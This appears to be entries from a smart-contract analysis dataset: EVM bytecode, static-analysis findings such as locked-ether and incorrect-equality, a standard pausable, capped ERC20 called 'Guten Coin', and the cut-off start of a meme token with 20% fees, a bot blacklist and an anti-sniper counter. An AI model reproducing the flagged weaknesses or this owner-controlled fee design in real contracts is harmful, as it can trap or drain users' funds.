ffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151f57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000808333876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140182815260200193505050506040518091039020905082816001900411156116e157600080fd5b8460001916816000191614915050949350505050565b60075481565b600a5481565b600b5481565b600d5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117ca5780601f1061179f576101008083540402835291602001916117ca565b820191906000526020600020905b8154815290600101906020018083116117ad57829003601f168201915b505050505081565b6000808233866040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050809150509392505050565b60006118563361210c565b61185f8361210c565b6118b182601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061194682601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230b90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60085481565b60115481565b600082601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611be1578082015181840152602081019050611bc6565b50505050905090810190601f168015611c0e5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611c3057600080fd5b505af1158015611c44573d6000803e3d6000fd5b50505050600190509392505050565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cdc57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611da057600080fd5b505af1158015611db4573d6000803e3d6000fd5b505050506040513d6020811015611dca57600080fd5b8101908080519060200190929190505050905092915050565b60095481565b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080600080604067b17217f7d1cf79ac682cb53f09f05cc627c88701811515611e9657fe5b0503925067b17217f7d1cf79ac83028503945068010000000000000000858602811515611ebf57fe5b059150680100000000000000008068010000000000000000807fffffffffffffffffffffffffffffffffffffffffffffffffffffe476c52fb4c68602811515611f0457fe5b05660455956bccdd06018502811515611f1957fe5b057fffffffffffffffffffffffffffffffffffffffffffffffffff49f49f7f7c662f018402811515611f4757fe5b05672aaaaaaaaa015db0018302811515611f5d57fe5b05680100000000000000006002020190508481036801000000000000000086830102811515611f8857fe5b059350600083121515611fae5782846000821215611fa257fe5b9060020a029350611fc7565b82600003846000821215611fbe57fe5b9060020a900493505b839350505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561202d57600080fd5b620186a0811015151561203f57600080fd5b80600c8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120a457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080821115156120f857600080fd5b818381151561210357fe5b04905092915050565b600080601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561215a57612307565b42601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156121a657612307565b6121af826123f8565b905061220381601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230b90919063ffffffff16565b601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061225b8160055461230b90919063ffffffff16565b5042601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5050565b6000818301905082811015151561232157600080fd5b92915050565b600f54612346612335611407565b60145461230b90919063ffffffff16565b11801561235557506027600e54105b15612367576001600e5401600e819055505b6123846001600e540160020a6005546120e890919063ffffffff16565b60055403600f819055506123a4600160075461230b90919063ffffffff16565b60078190555060006008546007548115156123bb57fe5b0614156123cb576123ca61257d565b5b6001430340600d8160001916905550565b60008282111515156123ed57600080fd5b818303905092915050565b600080600080600c54601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156124515760009350612575565b68010000000000000000925060185483601760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544203028115156124ad57fe5b0591506124b982611e70565b9050612572601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546801000000000000000061255a84601560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270e90919063ffffffff16565b81151561256357fe5b046123dc90919063ffffffff16565b93505b505050919050565b6000806000806000806000600654430396506008549550603c860294508487101561263c576125c8876125ba60648861270e90919063ffffffff16565b6120e890919063ffffffff16565b93506125f26103e86125e46064876123dc90919063ffffffff16565b61273f90919063ffffffff16565b9250612631612620846126126107d0600b546120e890919063ffffffff16565b61270e90919063ffffffff16565b600b546123dc90919063ffffffff16565b600b819055506126d2565b6126628561265460648a61270e90919063ffffffff16565b6120e890919063ffffffff16565b915061268c6103e861267e6064856123dc90919063ffffffff16565b61273f90919063ffffffff16565b90506126cb6126ba826126ac6107d0600b546120e890919063ffffffff16565b61270e90919063ffffffff16565b600b5461230b90919063ffffffff16565b600b819055505b43600681905550600954600b5410156126ef57600954600b819055505b600a54600b54111561270557600a54600b819055505b50505050505050565b60008183029050600083148061272e575081838281151561272b57fe5b04145b151561273957600080fd5b92915050565b60008183111561275157819050612755565b8290505b929150505600a165627a7a72305820fbd5adef68cd4477b264b944d02d35ec586836206e1ca70fe1bfd0e616e50ea10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,140 |
0x9619b3772faa448ef1bf682a75921eb0b2e10114
|
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract GutenCoin is CappedToken, PausableToken {
string public constant name = "Guten Coin"; // solium-disable-line uppercase
string public constant symbol = "GU"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 0;
uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() CappedToken(MAX_SUPPLY) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) {
return super.finishMinting();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner whenNotPaused public {
super.transferOwnership(newOwner);
}
/**
* The fallback function.
*/
function() payable public {
revert();
}
}
|
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde0314610160578063095ea7b3146101ea57806318160ddd1461020e57806323b872dd146102355780632ff2e9dc1461025f578063313ce5671461027457806332cb6b0c1461029f578063355274ea146102b45780633f4ba83a146102c957806340c10f19146102e05780635c975abb14610304578063661884631461031957806370a082311461033d578063715018a61461035e5780637d64bcb4146103735780638456cb59146103885780638da5cb5b1461039d57806395d89b41146103ce578063a9059cbb146103e3578063d73dd62314610407578063dd62ed3e1461042b578063f2fde38b14610452575b600080fd5b34801561014357600080fd5b5061014c610473565b604080519115158252519081900360200190f35b34801561016c57600080fd5b50610175610483565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101af578181015183820152602001610197565b50505050905090810190601f1680156101dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f657600080fd5b5061014c600160a060020a03600435166024356104ba565b34801561021a57600080fd5b506102236104de565b60408051918252519081900360200190f35b34801561024157600080fd5b5061014c600160a060020a03600435811690602435166044356104e4565b34801561026b57600080fd5b5061022361050a565b34801561028057600080fd5b5061028961050f565b6040805160ff9092168252519081900360200190f35b3480156102ab57600080fd5b50610223610514565b3480156102c057600080fd5b50610223610524565b3480156102d557600080fd5b506102de61052a565b005b3480156102ec57600080fd5b5061014c600160a060020a0360043516602435610587565b34801561031057600080fd5b5061014c6105d2565b34801561032557600080fd5b5061014c600160a060020a03600435166024356105db565b34801561034957600080fd5b50610223600160a060020a03600435166105f8565b34801561036a57600080fd5b506102de610613565b34801561037f57600080fd5b5061014c610681565b34801561039457600080fd5b506102de6106cf565b3480156103a957600080fd5b506103b261072e565b60408051600160a060020a039092168252519081900360200190f35b3480156103da57600080fd5b5061017561073d565b3480156103ef57600080fd5b5061014c600160a060020a0360043516602435610774565b34801561041357600080fd5b5061014c600160a060020a0360043516602435610791565b34801561043757600080fd5b50610223600160a060020a03600435811690602435166107ae565b34801561045e57600080fd5b506102de600160a060020a03600435166107d9565b60035460a060020a900460ff1681565b60408051808201909152600a81527f477574656e20436f696e00000000000000000000000000000000000000000000602082015281565b60055460009060ff16156104cd57600080fd5b6104d7838361080c565b9392505050565b60015490565b60055460009060ff16156104f757600080fd5b610502848484610872565b949350505050565b600081565b601281565b6b204fce5e3e2502611000000081565b60045481565b600354600160a060020a0316331461054157600080fd5b60055460ff16151561055257600080fd5b6005805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a031633146105a157600080fd5b60035460a060020a900460ff16156105b857600080fd5b60055460ff16156105c857600080fd5b6104d783836109e9565b60055460ff1681565b60055460009060ff16156105ee57600080fd5b6104d78383610a45565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461062a57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a0316331461069b57600080fd5b60035460a060020a900460ff16156106b257600080fd5b60055460ff16156106c257600080fd5b6106ca610b35565b905090565b600354600160a060020a031633146106e657600080fd5b60055460ff16156106f657600080fd5b6005805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600281527f4755000000000000000000000000000000000000000000000000000000000000602082015281565b60055460009060ff161561078757600080fd5b6104d78383610bb9565b60055460009060ff16156107a457600080fd5b6104d78383610c9a565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146107f057600080fd5b60055460ff161561080057600080fd5b61080981610d33565b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a038316151561088957600080fd5b600160a060020a0384166000908152602081905260409020548211156108ae57600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156108de57600080fd5b600160a060020a038416600090815260208190526040902054610907908363ffffffff610dc816565b600160a060020a03808616600090815260208190526040808220939093559085168152205461093c908363ffffffff610dda16565b600160a060020a0380851660009081526020818152604080832094909455918716815260028252828120338252909152205461097e908363ffffffff610dc816565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600354600090600160a060020a03163314610a0357600080fd5b60035460a060020a900460ff1615610a1a57600080fd5b600454600154610a30908463ffffffff610dda16565b1115610a3b57600080fd5b6104d78383610ded565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610a9a57336000908152600260209081526040808320600160a060020a0388168452909152812055610acf565b610aaa818463ffffffff610dc816565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600354600090600160a060020a03163314610b4f57600080fd5b60035460a060020a900460ff1615610b6657600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b6000600160a060020a0383161515610bd057600080fd5b33600090815260208190526040902054821115610bec57600080fd5b33600090815260208190526040902054610c0c908363ffffffff610dc816565b3360009081526020819052604080822092909255600160a060020a03851681522054610c3e908363ffffffff610dda16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610cce908363ffffffff610dda16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600354600160a060020a03163314610d4a57600080fd5b600160a060020a0381161515610d5f57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610dd457fe5b50900390565b81810182811015610de757fe5b92915050565b600354600090600160a060020a03163314610e0757600080fd5b60035460a060020a900460ff1615610e1e57600080fd5b600154610e31908363ffffffff610dda16565b600155600160a060020a038316600090815260208190526040902054610e5d908363ffffffff610dda16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a72305820b46da63b2ac2bae590c86f9bec7ccda6a8b1f7467221b0d833fa3aede00672810029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,141 |
0xb405f7411a2827a9e0f84731f37c5843ac5a234a
|
/*
t.me/DRocketoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BwordConference is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private devFeeSell = 20 ;
uint256 private devFeeBuy = 20 ;
uint256 private constant redistributionTax = 5;
uint256 private _feeAddr1 = redistributionTax ;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
uint256 AntiSniperCount = 5;
string private constant _name = "Bword Conference t.me/BwordConference ";
string private constant _symbol = "BwordConference";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add) {
_feeAddrWallet1 = _add;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
